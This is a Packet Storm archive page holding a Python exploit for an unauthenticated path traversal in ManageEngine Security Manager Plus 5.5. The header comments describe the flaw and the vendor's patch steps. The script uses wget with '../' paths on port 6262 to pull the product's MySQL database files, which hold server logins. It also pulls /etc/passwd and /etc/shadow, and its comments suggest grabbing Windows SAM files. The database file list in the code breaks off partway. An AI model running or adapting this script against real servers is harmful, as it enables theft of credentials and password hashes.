what you don't know can hurt you

ManageEngine Security Manager Plus 5.5 Traversal

ManageEngine Security Manager Plus 5.5 Traversal
Posted Oct 19, 2012
Authored by xistence

ManageEngine Security Manager Plus versions 5.5 build 5505 and below suffer from a path traversal vulnerability.

tags | exploit, file inclusion
MD5 | 72da4a00f3eb055d1602108c23a8a93b

ManageEngine Security Manager Plus 5.5 Traversal

Change Mirror Download
#!/usr/bin/python
#+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : Security Manager Plus <= 5.5 build 5505 Path Traversal (Win+Linux)
# Date : 18-10-2012
# Author : xistence (xistence<[AT]>0x90.nl)
# Software link : http://www.manageengine.com/products/security-manager/81779457/ManageEngine_SecurityManager_Plus.exe (Win)
# Software link : http://www.manageengine.com/products/security-manager/81779457/ManageEngine_SecurityManager_Plus.zip (Linux)
# Vendor site : http://www.manageengine.com/
# Version : 5.5 build 5505 and lower
# Tested on : CentOS 5.x + Windows XP/2008
#
# Vulnerability : The Path Traversal is possible on the "store" url, without any authentication. This allows us to download the complete
# database and thus gather windows/linux logins which are used for patching the servers. It will also download the
# passwd and shadow files as Security Manager Plus runs with root/SYSTEM privileges. Modify it to make it work on windows,
# and grab SAM files or other files. NOTE: At least one patch must have been downloaded in Security Manager Plus already.
#
# Fix:
# 1. Go to SMP server system and stop SMP service.
# 2. Download the SMP_Vul_fix.zip file from : http://bonitas.zohocorp.com/4264259/scanfi/31May2012/SMP_Vul_fix.zip
# 3. Extract the downloaded file which contains four files : AdvPMServer.jar, AdvPMClient.jar, scanfi.jar and AdventNetPMUnixAgent.jar
# 3. Copy the extracted .jar files to <SMP-HOME>\lib directory (e.g., C:\AdventNet\SecurityManager\lib). [Overwrite the existing jar files and do not rename them]
# 4. Start the SMP service.
#+--------------------------------------------------------------------------------------------------------------------------------+

import os, sys

if (len(sys.argv) != 2):
print ""
print "[*] Security Manager Plus Path Traversal Exploit - xistence (xistence<[at]>0x90.nl) - 2012-05-29"
print ""
print "[*] Usage: secman-path.py <RHOST>"
print "[*] I.e.: ./secman-path.py www.manageengine.com"
print "[*]"
print "[*] RHOST = Remote Host which runs Security Manager Plus"
print ""
print ""
exit(0)

rhost = sys.argv[1]


dbFiles = ['StatusPropagateCriteria.frm', 'UserPatchComment.frm', 'I18nLanguageCountry.frm', 'Udef_Class_Range.frm', 'AaaUserContactInfo.frm', 'JoinTable.frm', 'GlobalCredential.frm', 'PMWinOS.frm', 'SysDetails.frm', 'AaaRole.frm', 'Time_Expressions.frm', 'DCSupportedApplications.frm', 'ACSQLString.frm', 'DeviceInventoryItems.frm', 'ACFeedBackProperties.frm', 'AaaPasswordHint.frm', 'AllowedValues.frm', 'Integral_Agg_Vars.frm', 'ACCountSQLString.frm', 'AaaServicePasswordRule.frm', 'ACCacheConfig.frm', 'AaaOrgDetail.frm', 'Array_List.frm', 'ViewCustomizer.frm', 'DeviceAuditInfo.frm', 'AaaAccountOwner.frm', 'DeviceToServicePack.frm', 'MSPMDependencyServicePack.frm', 'NENetwork.frm', 'ACUserFilterGroup.frm', 'WeeklyVulnID.frm', 'RegistryChanges.frm', 'PMPatchType.frm', 'NetworkTopology.frm', 'VulnerabilityScanDetails.frm', 'AaaAccSessionProp.frm', 'Int_Expr_To_Int.frm', 'JoinRelCriteria.frm', 'AaaModuleService.frm', 'ClientServiceProviders.frm', 'PCIQuery.frm', 'Upd_Row_Task_Template.frm', 'JoinCriteria.frm', 'LinuxAppGroup.frm', 'Start_End_Count.frm', 'OpenPorts.frm', 'DevicePatchTaskInput.frm', 'Free5IPs.frm', 'Int_DataObj_Expr.frm', 'Pattern_Variables.frm', 'DevicePatchStatusAuditInfo.frm', 'Email_Message.frm', 'TestReport.frm', 'ACLink.frm', 'Decimal_DataObj_Vars.frm', 'IPInterfaceNetwork.frm', 'ACUserClientState.frm', 'ScanPolicy.frm', 'OfficeMediaLocation.frm', 'ServicePackStoreAuditInfo.frm', 'PMScanVulDetails.frm', 'Iter_DataObj_Task.frm', 'PatchGroup.frm', 'Bool_Str_Dataobj_Expr.frm', 'OracleErrorCode.frm', 'SystemInfo.frm', 'Upd_DataObj_Var_Task.frm', 'BulletinDatastore.frm', 'SmtpConfiguration.frm', 'AaaOrgUser.frm', 'PMScheduledTaskDetails.frm', 'AaaOrgPostalAddr.frm', 'User_Def_Char_Class.frm', 'FileHandler.frm', 'AaaService.frm', 'ACAjaxFormOption.frm', 'ScheduleScanTaskInput.frm', 'ColumnDetails.frm', 'Boolean_Variables.frm', 'ACElement.frm', 'ACViewToGroupMapping.frm', 'DeviceToPatch.frm', 'Int_Const_Opr_Expr.frm', 'AaaPamModuleOption.frm', 'GroupVulnerabilities.frm', 'Pattern_Expressions.frm', 'GroupCompNotification.frm', 'MSCommand.frm', 'ACContextHelp.frm', 'Rules_To_Statements.frm', 'String_Matcher_Group.frm', 'DeviceToMSSoftware.frm', 'Task_Owner.frm', 'AaaMethodParams.frm', 'IPv4Address.frm', 'I18nLocalMsg.frm', 'Theme.frm', 'Repair.frm', 'Num_Const_Opr_Expr.frm', 'ACParams.frm', 'AaaTableUpdatePermission.frm', 'PatchDetectionCheck.frm', 'Templates_To_Relvars.frm', 'WindowsUsers.frm', 'MSRegChg.frm', 'NetworkDomainInfo.frm', 'ActiveDirectoryInfo.frm', 'Udef_Expr_Opr_Expr.frm', 'ScheduledReports.frm', 'UpdateDefinition.frm', 'GroupTicNotification.frm', 'ResourceFalsePositiveVulns.frm', 'FolderChanges.frm', 'WebViewConfig.frm', 'PMOfficeEditionType.frm', 'ACClientProps.frm', 'ACFilterConfigList.frm', 'EPMTaskInput.frm', 'AdditionalViewParams.frm', 'Quotation.frm', 'Str_Expr_To_Str.frm', 'bla.py', 'Network.frm', 'WindowsGroups.frm', 'ACTableFilterListRel.frm', 'PMTaskDetails.frm', 'LatestResourceScans.frm', 'Loop_Task_Template.frm', 'YSeriesColumn.frm', 'AaaAccOldPassword.frm', 'ConstituentTable.frm', 'FalsePositiveTestCase.frm', 'AaaOrganization.frm', 'PatchStoreLocation.frm', 'Print_Log_RelVars.frm', 'DeviceTaskInput.frm', 'PdfViewConfig.frm', 'Rules.frm', 'ProductDetectionCheck.frm', 'TreeQuery.frm', 'WebUIComponent.frm', 'AaaAce.frm', 'Pointers_In_Path.frm', 'NetworkDnsInfo.frm', 'LinuxPackageDependency.frm', 'UserNamePassword.frm', 'ManagedResource.frm', 'ProfileGroupMap.frm', 'ScanAddressGroup.frm', 'Default_Task_Conf.frm', 'AaaAccBadLoginStatus.frm', 'Pattern_Template_Vars.frm', 'PatchApplicableDetails.frm', 'NEComponent.frm', 'FKColumnDefinition.frm', 'Str_Deriv_Int_Vars.frm', 'Par_Char_Class_Expr.frm', 'Bool_Num_Comp_Decimal.frm', 'PatchDependencyCheck.frm', 'Logger.frm', 'Email_CC_Address.frm', 'MSAffectedServicePack.frm', 'AaaUserStatus.frm', 'DownloadFiles.frm', 'AuditSeverityLevel.frm', 'JavaScriptAction.frm', 'HTTPDirList.frm', 'AaaOrgStatus.frm', 'Templates.frm', 'OSLanguage.frm', 'TablesInTree.frm', 'TestCasePattern.frm', 'ValidationFiles.frm', 'ReverseDNSEntries.frm', 'CC_Address.frm', 'P

for blah in dbFiles:
print "[*] Downloading file: " + blah
os.system("wget -q http://%s:6262/store?f=../mysql/data/securitymanager/%s -O %s" % (rhost, blah, blah))

os.system("wget http://%s:6262/store?f=../../../../../etc/passwd -O passwd" % rhost)
os.system("wget http://%s:6262/store?f=../../../../../etc/shadow -O shadow" % rhost)



Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

August 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    10 Files
  • 2
    Aug 2nd
    8 Files
  • 3
    Aug 3rd
    2 Files
  • 4
    Aug 4th
    1 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    79 Files
  • 7
    Aug 7th
    16 Files
  • 8
    Aug 8th
    10 Files
  • 9
    Aug 9th
    10 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    6 Files
  • 12
    Aug 12th
    26 Files
  • 13
    Aug 13th
    15 Files
  • 14
    Aug 14th
    19 Files
  • 15
    Aug 15th
    52 Files
  • 16
    Aug 16th
    11 Files
  • 17
    Aug 17th
    1 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close